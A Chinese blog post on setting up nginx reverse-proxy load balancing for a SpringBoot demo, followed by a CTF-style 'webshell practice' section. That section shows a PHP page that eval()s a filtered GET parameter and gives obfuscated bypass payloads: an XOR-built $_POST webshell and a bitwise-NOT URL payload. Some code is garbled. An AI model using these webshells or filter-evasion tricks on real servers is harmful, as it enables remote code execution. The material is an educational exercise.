Nginx反向代理-负载均衡、webshell实践

目录

1.nginx反向代理-负载均衡

1)搭建web项目

[2)修改 nginx.conf的配置](#2)修改 nginx.conf的配置)

[2.webshell 实践](#2.webshell 实践)

1)异或操作绕过

2)取反绕过

3)php语法绕过


1.nginx反向代理-负载均衡

1)搭建web项目

首先通过SpringBoot+Freemarker快速搭建一个WEB项目:springboot-web-nginx然后在该项目中,创建一个IndexNginxController.java文件

@Controller

public class IndexNginxController {

@Value("${server.port}")

private String port;

@RequestMapping("/")

public ModelAndView index(){

ModelAndView model = new ModelAndView();

model.addObject("port", port);

model.setViewName("index");

return model;

}

}

在该Controller类中,存在一个成员变量:port,它的值即是从application.properties配置文件中获取server.port值。当出现访问/资源的请求时,跳转前端index页面,并将该值携带返回

前端的index.ftl文件代码

<html>

<head>

<title>Nginx演示页面</title>

<link href="nginx_style.css" rel="stylesheet" type="text/css"/>

</head>

<body>

<div style="border: 2px solid red;margin: auto;width: 800px;text-align: center">

<div id="nginx_title">

<h1>欢迎来到熊猫高级会所,我是竹子${port}号!</h1>

</div>

</div>

</body>

</html>

2)修改 nginx.conf的配置

upstream nginx_boot{

30s内检查心跳发送两次包,未回复就代表该机器宕机,请求分发权重比为1:2

server 192.168.198.128 weight=100 max_fails=2 fail_timeout=30s;

server 192.168.198.1 weight=200 max_fails=2 fail_timeout=30s;

这里的IP请配置成你WEB服务所在的机器IP

}

server {

location / {

root html;

配置一下index的地址,最后加上index.ftl。

index index.html index.htm index.jsp index.ftl;

proxy_set_header Host $host;

proxy_set_header X-Real-IP $remote_addr;

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

请求交给名为nginx_boot的upstream上

proxy_pass http://nginx_php;

}

}

2.webshell 实践

1)异或操作绕过

典型的异或操作绕过,PHP中是可以以下划线开头为变量名的,所以$_代表名为_的变量

<?php

_++; // _ = 1

__=("#"\^"\|"); // __ = _

$__.=("."^"~"); // _P

$__.=("/"^"`"); // _PO

$__.=("|"^"/"); // _POS

$__.=("{"^"/"); // _POST

{}!$_({}$_); // _POST\[0\](_POST1);

?>

执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤,这道题就可以用异或操作来绕过

<?php

include 'flag.php';

if(isset($_GET'code')){

code = _GET'code';

if(strlen($code)>40){

die("Long.");

}

if(preg_match("/A-Za-z0-9+/",$code)){

die("NO.");

}

@eval($code);

}else{

highlight_file(FILE);

}

//$hint = "php function getFlag() to get flag";

?>

2)取反绕过

<?php

$a = "getFlag";

echo urlencode(~$a);

?>

?code=_=\~%98%9A%8B%B9%93%9E%98;_();

%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理

取反符号将url解码后的字符串转换成了getFlag,赋值给$_,然后执行,拿到flag

3)php语法绕过

<?php

$a='Z';

echo ++$a; //AA

echo ++$a; //AB

?>

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 a = 'Z'; a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化

相关推荐
打工仔折腾 AI19 分钟前
飞牛OS上用Docker Compose部署ExerciseDiary运动记录并配置远程访问
运维·人工智能·后端·python·docker·容器·ai agent 实战
天远数科24 分钟前
零信任架构实战:基于天远运营商三要素简版V即时版查询构建自动化买手实名核验网关
运维·人工智能·架构·自动化
天衍四九-1 小时前
Docker Compose企业实战系列(八·终章):多环境隔离实战,开发/测试/生产一键切换
运维·docker·容器
IT大白鼠1 小时前
搜索系列 · 第 04 篇——部署实操:内网集群落地
运维·elasticsearch·nosql
Elastic 中国社区官方博客2 小时前
使用 Jev 作为 search reranker:基准测试与实现方法
大数据·运维·elasticsearch·全文检索
红红谈说2 小时前
浏览器自动化环境老是起不来?依赖治理与启动自检的一次复盘
运维·自动化·浏览器自动化·进程残留·环境依赖·启动自检·版本比较
赵民勇3 小时前
glib-compile-schemas命令详解
linux·运维
小小、码农3 小时前
〖Linux进程间通信〗IPC全家桶:匿名管道、FIFO、共享内存、消息队列与信号量一篇打通
linux·运维·服务器
阳光九叶草LXGZXJ3 小时前
达梦数据库-学习-67-SSL加密认证
linux·运维·数据库·sql·学习·ssl
掉进电商坑三年没爬出来的东叔3 小时前
2026最新:青龙面板搭建全自动薅羊毛脚本,云服务器24小时挂机教程
运维·服务器·pygame